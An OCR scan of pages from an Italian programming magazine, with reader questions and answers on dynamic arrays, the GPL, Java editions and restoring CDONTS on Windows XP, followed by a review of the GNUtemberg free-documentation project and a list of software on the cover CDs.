menti della matrice. In questo caso, occorre 
creare un'altra matrice con le nuove di- 
mensioni (più grande o più piccola), in cui 
copiare gli elementi di quella precedente. 
Al termine dell'operazione, si prowederà 
al rilascio della memoria impegnata dalla 
prima matrice, come spiegato prima. 
Esistono classi che sono già predisposte 
per tali operazioni, come CArray di MFC 
per Visual C++. Il loro utilizzo può sempli- 
ficare la vita del programmatore, che non si 
dovrà occupare dei dettagli implementati- 
vi, grazie all'invocazione di una istruzione 
del tipo Matrice. SetSize (nuovaDimensione- 
Righe) per il primo indice e Matrice[i]. 
SetSize(nuovaDimensioneColonne) per il se- 
condo indice. Concettualmente, però, l'o- 
perazione viene eseguita esattamente nella 
maniera in cui l'abbiamo descritta. 



Licenze Software 

► ►►►►►►►►►►►►►► 

Comincio con i dovuti compli- 
menti alla vostra rivista: il 70% 
delle risposte e dei programmi che 
mi servono, lo trovo proprio tra le 
vostre pagine o nei vostri CD. 
Quello che vorrei sapere, merita 



126 ►►► a 



3 



http ://www.itport al.it 



N B 



probabilmente un intero articolo, 
per la complessità del tema. Provo 
comunque a porre la domanda. Se 
io scrivessi un programma e lo 
volessi distribuire gratuitamente, 
con i codici, magari permettendo le 
modifiche, ecc., ma volessi anche 
proteggermi da eventuali danni 
creati dal programma, potrei sfrut- 
tare una delle varie licenze che si 
utilizzano per programmi Open 
Source? E se sì, dovrei solo inserire 
il file con la licenza o dovrei in 
qualche modo dire a chi l'ha creata 
che io la uso? So che l'argomento è 
complesso, ma spero che riusciate 
e rispondermi. Grazie per l'atten- 
zione e distinti saluti. 

Pierantonio Pozzan 

La Licenza GPL è progettata per assicu- 
rarsi che chiunque abbia la libertà di 
distribuire copie del software libero (e farsi 
pagare per questo, se vuole); che riceva il 
codice sorgente o che lo possa ottenere se 
lo desidera; che possa modificare il pro- 
gramma o usarne parti in nuovi program- 
mi Uberi e che sappia di potere effettuare 
queste operazioni. Per proteggere i diritti 
dell'utente, la Licenza crea delle restrizioni 
che vietano a chiunque di negare questi 
diritti o di chiedere di rinunciarvi. Tali 
restrizioni si traducono in responsabilità 
per chi distribuisce copie del software e per 
chi lo modifica. Ad esempio, chi distribui- 
sce copie di un programma coperto da 
GPL, sia gratis sia in cambio di un com- 
penso, deve concedere ai destinatari tutti i 
diritti che ha ricevuto. Deve anche assicu- 
rarsi che i destinatari ricevano o possano 
ottenere il codice sorgente. Deve mostrar 
loro le condizioni di licenza, in modo che 
essi conoscano i propri diritti. La Licenza 
protegge i diritti dell'utente in due modi: 
apponendo il marchio di copyright e 
offrendo una licenza che dia il permesso 
legale di copiare, distribuire e modificare il 
programma. Inoltre, per proteggere l'auto- 
re, la Licenza si assicura che ognuno com- 
prenda che non ci sono garanzie per i pro- 
grammi coperti da GPL. Se il programma 
viene modificato da qualcun altro e ridi- 
stribuito, gli acquirenti (e comunque gli 
utenti) devono sapere che ciò che hanno in 
dotazione non è l'originale, in modo che 
ogni problema introdotto da altri non si 
rifletta sulla reputazione degli autori origi- 
nari. Infine, essendo ogni programma libe- 
ro costantemente minacciato dai brevetti 



sui programmi, la Licenza evita il pericolo 
che chi ridistribuisce un programma libero 
ottenga la proprietà di brevetti, rendendo 
in pratica il programma cosa di sua pro- 
prietà. Per prevenire questa evenienza, la 
licenza chiarisce che ogni brevetto deve 
essere concesso in licenza d'uso a chiun- 
que, o non avere alcuna restrizione di li- 
cenza d'uso. Infine, non c'è bisogno di 
avvertire nessuno per utilizzare la GPL. 
Semmai, si può contattare la Free Software 
Foundation Inc. (59 Tempie Place, Suite 
330, Boston, MA 02111-1307 USA) per farsi 
aiutare nella redazione di una licenza 
appropriata. 



Java in tutte le salse 

► ►►►►►►►►►►►►►► 

Sono un "aspirante" sviluppatore 
Java (molto aspirante a dire il 
vero) e mi sto addentrando nei 
suoi meandri. Vorrei sapere quali 
sono le differenze sostanziali fra le 
diverse distribuzioni J2EE, J2SE, 
J2ME ed il rispettivo limite di impie- 
go nello sviluppo di applicazioni. 
Ringraziandovi anticipatamente, 
porgo i miei saluti. 

Marco Montanari 

Ciao Marco, cercherò di essere breve e 
chiaro: J2SE (Java 2 Standard Edition) è 
la piattaforma standard per lo sviluppo, la 
distribuzione ed il test di applicazioni Java. 
Diciamo pure che è il nucleo attorno a cui 
gli altri strumenti di sviluppo ruotano. 
J2SE comprende il compilatore (che tra- 
sforma il codice Java nel bytecode), una 
serie di tool, la Java Virtual Machine (l'ele- 
mento cui è fatto carico di eseguire il byte- 
code), ed un insieme di API. J2EE (Java 2 
Enterprise Edition): rappresenta sia la tecno- 
logia che i componenti veri e propri svi- 
luppati da Sun per agevolare lo sviluppo 
di applicazioni business. La piattaforma 
J2EE permette di gestire, in sicurezza, le 
transazioni in ambito client server e offre 
una serie di strumenti per un agevole uti- 
lizzo dei Web Services e per la distribuzio- 
ne di applicazioni orientate al Web. Infine 
J2ME (Java 2 Micro Edition) è la tecnologia 
Java orientata ai dispositivi mobili o 
comunque a tutti i dispositivi che abbiano 
forti limitazioni in termini computazionali. 
Sarebbe sbagliato vedere J2ME come un 
semplice sottoinsieme della Standard 
Edition: una estrema ottimizzazione del 
codice e alcune estensioni di supporto alla 



grande varietà di dispositivi esistenti, 
hanno fatto di J2ME lo standard de facto 
per lo sviluppo di applicazioni mobile. 



CDONTS su Windows XP 
Professional 

► ►►►►►►►►►►►►►► 

Sono uno studente universitario, 
vi leggo con molto interesse e 
vorrei porre alla mitica redazione 
una domanda: "Ma che fine ha 
fatto il componente CDONTS su 
Windows XP Professional?" 
Ringraziando in anticipo auguro a 
tutti voi buon proseguimento di 
lavoro. 

Mario Vengia - email 

Risponde Carlo Pelliccia 

Non si sa come mai CDONTS non sia 
parte integrante di US 5.1, il Web 
server di cui viene dotato Windows XP 
Professional. Microsoft lo ha inspie- 
gabilmente escluso da questa piattaforma. 
La cosa è strana, perché nessun motivo 
tecnico appare poter giustificare la scelta. 
Basta infatti recuperare una copia del 
componente da un'installazione di Win- 
dows 2000, ed il gioco è fatto. 
Ecco le operazioni necessarie: 

1. Rimediare una copia del file cdonts.dll, 
che nelle macchine Windows 2000 è 
solitamente mantenuto nella cartella 
C:\WINNT\System32\. 

2. Trasferire il file nella cartella 
C:\WINDOWS\System32\ del Win- 
dows XP che si intende dotare del 
componente. 

3. Da Windows XP, avviare il tool Start > 
Esegui, digitare regsvr32 cdonts.dll e 
confermare il comando. 

4. Riawiare il sistema. 

In questo schema, si è supposto che 
C:\WINNTX sia la cartella dell'installazio- 
ne base del Windows 2000 dal quale si 
intende prelevare il file, e C:\ WINDOWS \ 
quella del Windows XP Professional sul 

Per contattarci: 

e-mail: iopinbox@edmaster.it 

Posta: Edizioni Master, 

Via Cesare Correnti, 1 - 20123 Milano 



http ://www.itport al.it 



3 ►►► 127 



I L 



t o de 



e s e 



GNUtemberg 

http://www.gnutemberg.org/ *^ 



i 




La documentazione è uno tra gli stru- 
menti più importanti di cui dispone 
un programmatore. Prima di fare, 
bisogna imparare e anche come fare per 
fare bene! Senza documentazione, in effet- 
ti, poco sarebbe possibile. Manuali, libri 
tecnici, siti Internet e riviste come quella 
che state leggendo, evidenziano in coro 
tale necessità. I sistemi informatici hanno 
raggiunto una notevole complessità, ed è 
impossibile avvicinarsi ad uno di essi 
senza avere la documentazione adeguata. 
La documentazione è vitale, sia quando si 
è esperti sia (e soprattutto) quando lo si è 
un po' meno. Alzi la mano 
chi ricorda a memoria i det- 
tagli di tutti i comandi di 
Unix, oppure le norme 
d'impiego di tutte le funzio- 
ni di PHP. 

Esistono svariati tipi di do- 
cumentazione. Ci sono gli 
help in linea, ci sono le rivi- 
ste che tendono a mostrare 
la pratica della programma- 
zione, ci sono migliaia e mi- 
gliaia di manuali. Ci sono 
anche le documentazioni 
fruibili via Web, gratuite o a 
pagamento. Comunque sia, spesso queste 
documentazioni sono accompagnate da un 
copyright, da un diritto d'autore e da clau- 
sole che ne limitano l'utilizzo. Il più delle 
volte, non è lecito acquistare un manuale in 
libreria e poi fotocopiarlo a tutti gli amici. 
Spesso, non è possibile riprodurre parti 
troppo consistenti di una rivista. General- 
mente, non è possibile prelevare un artico- 
lo da un sito Web, ritoccarlo o estenderlo, 
per poi ripubblicarlo dove si desidera, 
anche mantenendo una nota verso il nome 
dell'autore originario. No, di solito non è 
possibile fare questo, tranne nel caso in cui 
si stia facendo uso di documentazione libe- 
ra. 

Oramai tutti conoscono le due correnti di 
software (e di pensiero) attualmente in cir- 
colo, che infiammano le discussioni nei 
forum di Internet. Parlo del software pro- 
prietario e di quello libero. Il primo è blin- 



dato: non è possibile guardare i sorgenti, 
non è possibile modificarlo, non è possibi- 
le ridistribuirlo. Il secondo, invece, è aper- 
to e comunitario: è possibile averne i sor- 
genti, è possibile modificarlo ed estender- 
lo, è possibile ripubblicarlo e rivenderlo. 
Basta osservare alcune regole di base, che 
permettono il ripetersi del ciclo e che con- 
sentono l'attribuzione dei giusti meriti per- 
sonali. Per la documentazione, è più o 
meno la stessa cosa. Esistono le pubblica- 
zioni di tipo "classico", ed esistono le docu- 
mentazioni libere. Il progetto GNU, avvia- 
to da Richard Stallman circa venti anni fa, 




uUtìì: e ::;:::■ 

vfofUvorr. fu 
Giovedì 20 r 
Ore 9:30-17:00 
Centra Congres 
ViaSalana113 



Printer friendly version | Sitare thie etory 
[ : l ; 



Contatti GNUtemtjero. 

LiberGHLt 
GFDD 
CD-ROM 
Confetti Aidro 
FexSiae 
Eeenzione Bollino 



■ Amministrazione e Apache. 2 nuovi docs 



I 

urooeuo e 



■n documenti (GNi.: fui..: r: 
e GFDD Un grazie a Cote 



GMUfLinuìicot 

ECCD. limale 
Traduzione di 
ItalianRutryiJ: 
Python 



: : : 



non ha prodotto solamente la nota licenza 
GPL, che si applica ai software, ma anche 
la GNU Free Documentation License, che 
si applica ai testi e alle documentazioni. La 
GNU Free Documentation License, inoltre, 
non è neanche l'unica licenza al mondo 
destinata alla pubblicazione di documenta- 
zione libera. La documentazione libera 
può essere scambiata, stampata, rivenduta, 
modificata, estesa, rivista ed altro ancora, 
secondo i singoli casi. Ci sono editori che 
pubblicano, in libreria, stampe di docu- 
mentazione libera. Proprio come nel caso 
del software, è possibile stabilire un mo- 
dello che, contemporaneamente, faccia gli 
interessi di tutti e che non tolga libertà a 
nessuno. Naturalmente, esistono comunità 
e punti di riferimento per chi vuole parte- 
cipare alla stesura di documentazione libe- 
ra, validi anche per chi intende semplice- 
mente usufruirne. 



All'indirizzo http://ioivw.gnutemberg.org/ 
trovate il sito del progetto "GNUtemberg!". 
Cito testualmente la missione principale 
del progetto: «Il nostro scopo è quello di 
trovare e indicare agli utenti quelle struttu- 
re che sono in grado di produrre e vendere 
copie stampate o fotocopiate di documen- 
tazione tutelata da licenze libere.». Tutta- 
via, questa descrizione è restrittiva. Sono 
molte le iniziative curate dal progetto 
"GNUtemberg!". La più celebre, probabil- 
mente, è quella all'indirizzo http:/ '/cdrom 
.gnutemberg.org/. Qui troverete un'interes- 
sante raccolta di documentazione libera, 
mantenuta dai gestori del 
progetto, che potrete sca- 
ricare e stampare. Gli ar- 
gomenti trattati dalle 
pubblicazioni raccolte 
spaziano soprattutto 
all'interno del mondo del 
software libero. Troverete 
guide a GNU /Linux, ad 
OpenOffice, a Perl, a 
Python, a PHP, e così via. 
C'è materiale sia in italia- 
no sia in inglese. I formati 
delle documentazioni, co- 
me è lecito attendersi, 
sono tutti ampiamente fruibili (PDF e 
PostScript). Potrete scaricare una ad una le 
singole documentazioni disponibili, oppu- 
re potrete prelevare, in un colpo solo, 
un'immagine ISO che vi permetterà di 
riversarle tutte in un CD-Rom. Potrete 
impiegare liberamente il CD, nel rispetto 
delle non restrittive licenze che accompa- 
gnano ogni singolo manuale presente al 
suo interno. Un'altra interessante iniziativa 
di "GNUtemberg!" consiste in un database 
che raccoglie collegamenti verso fonti di 
documentazione libera (http://ioioio.gfdd 
.orgl). Infine, ci sono notizie, informazioni 
ed una mailing list collegata alle attività 
del progetto. Il sito è ben fatto e perfetta- 
mente navigabile, totalmente in linea con i 
canoni che spesso accomunano le pagine 
Web dei siti vicini all'ambiente del Free 
Software e dell'Open Source. 

Carlo Pelliccia 






128 ►►► Maggi 



3 



http: //www. itport al.it 



ELENCO 



SOFTWARE 



SUI 



C D 



Elenco 



Software 
sul 1°CD 



Elenco 



Software 
sul 2° CD 



Mathcad 11 

Uno dei più diffusi software 
per il calcolo scientifico, utiliz- 
zato in tutto il mondo e a tutti i 
livelli. 
Nel CD: Mathcad 

FullXml 

Software Open Source, per il 
Content Management. 

Nel CD: fullxml205.zip 

J2ME Wireless 
Toolkit 2.0 

Progettare applicazioni per di- 
spositivi Wireless diventa un 
gioco da ragazzi. 
Nel CD: j2me_wireless_ 
toolkit-l_0_4_01 -bin-win.exe 

Code Co-op 4.0 

Code Co-op 4.0 è un pro- 
gramma di controllo versioni 
sorgenti per applicazioni rea- 
lizzate in C++, Java, HTML. . . 
Nel CD: co-op. exe 

FrameMaker 7.0 

Una soluzione per l'authoring 
ed il publishing che unisce la 
semplicità di un word proces- 
sor con XML. 
Nel CD: fm7_tryout 

J2SDK 1.4.1 

L'ambiente di sviluppo SUN 
nella sua ultima release. 
Nel CD: j2se 

IntelliJ IDEA 3.0.2 

Un completo IDE per Java che 
si dimostra al contempo sem- 
plicissimo da utilizzare e po- 
tente come pochi altri. 
Nel CD: IntelliJ 

Business Reports 2.0 

Un complesso ambiente per la 
generazione e la pubblicazione 
di report che può interfacciarsi 
con tutti i più diffusi database. 
Nel CD: brfreel7.exe 



DBxq 3.1 

Una plancia di comando per 
gestire qualsiasi database all'in- 
terno di un ambiente semplice 
e coerente. 
Nel CD: dbxq.exe 

Install-Us 
Professional 4.5 

Creare pacchetti di installazio- 
ne professionali? 
Nel CD: iuse.zip 

IronEye SQL 1.0 

Ottimizzare il codice SQL è 

semplicissimo! 

Nel CD: IronEye 

Javelin 6.5.8 

Un piccolo e interessante am- 
biente di sviluppo che consen- 
te, per via grafica, di realizzare 
complesse applicazioni Java. 
Nel CD: javelw32.exe 

Peter's XML Editor 2.0 

Un editor XML gratuito e dalle 
elevate funzionalità. 
Nel CD: pxe.exe 

MySQL Studio 4.4 

Un ottimo tool per la gestione 
grafica di database MySQL. 
Nel CD: pmstudio51trial.exe 

Resource Tuner 1.91 

Ottimo strumento per esplora- 
re le risorse contenute negli 
eseguibili. 
Nel CD: rtsetup.exe 

Visual Assist 6.0 

Un assistente per la scrittura ra- 
pida del codice .NET. 

Nel CD: VAssist 

XMLwriter 2.1 

Uno dei migliori editor XML 
presenti sul mercato in ver- 
sione di prova per trenta gior- 
ni. 
Nel CD: xmlwril2.zip 



La suite di compilatori 
Intel per Windows 
e Linux 

• Intel C++ 7.0 Compiler for 
Windows; 

• Intel Fortran 7.0 Compiler 
for Windows; 

• Intel VTune Performance 
AAnalizer; 

• Intel IntegratedPerforman- 
ce Primitive (IPP); 

• Intel Math Kernel Library. 

Kylix 3 Open Edition 

L'ambiente di sviluppo per scri- 
vere applicazioni Linux in pie- 
no stile Delphi. 
Nel CD: kylix3_open.tar.gz 

GNU Compiler 
Collection 3.2.2 

La completissima suite di pro- 
grammazione Open Source. 
Nel CD: gcc-3.2.tar.gz 

Bloodshed 
Dev-C++ 4.01 

L'aggiornamento dell'eccezio- 
nale IDE per lo sviluppo di ap- 



plicazioni C++. 

Nel CD: devcpp4.zip 

Dev-Pascal 1.9.2 

Un moderno ambiente di svi- 
luppo per gli amanti del vec- 
chio Pascal. 
Nel CD: devpasl92.exe 

MSWLogo 

Ricordate il linguaggio Logo? 
Eccone una pratica implemen- 
tazione! Destinato a chi muove i 
primi passi nel mondo della 
programmazione... 
Nel CD: mswlogo65.exe 

TinyPascal 

Un compilatore nel palmo di 

una mano. 

Nel CD: tinypas.zip 

Borland C++ 
Compiler 5.5 

Uno dei più veloci compilatori 

di sempre. 

Nel CD: freecommandLine- 

tools.exe 

Delta Forth .NET 1.1 

Il linguaggio Fortran sbarca su 

.NET. 

Nel CD: dforthnet.msi 



^Installazione ActiveX in Visual Basic 

Dal menu Progetto selezionare la voce Componenti (CT RL+T); 
nella schermata presente a video è visibile una list box conte- 
nente l'elenco dei componenti ActiveX installati nel sistema; da 
questi è possibile selezionare uno o più componenti e confer- 
mare mediante il bottone OK; qualora il componente non fosse 
installato nel sistema ma fosse comunque presente nel com- 
puter è possibile selezionare quest'ultimo tramite l'utilizzo del 
bottone "Sfoglia" mediante il quale si ha accesso alle directory 
del sistema; da queste è possibile localizzare il componente da 
installare. 



m Risorse Java 

Molte delle risorse Java riportate all'interno del CD ROM sono 
munite di file .java, .class e di file html per essere testate. Nel 
caso di compilazione del file .java si dovrà utilizzare un oppor- 
tuno strumento, come ad esempio il JDK di Sun. 
Per utilizzarlo si dovrà operare da prompt del DOS, accedere al- 
la directory bin dell'ambiente stesso ed avviare il Java Compiler 
digitando la stringa: javac "nomefile". 



130 ►►► M a g g 



3 



http ://www.itport al.it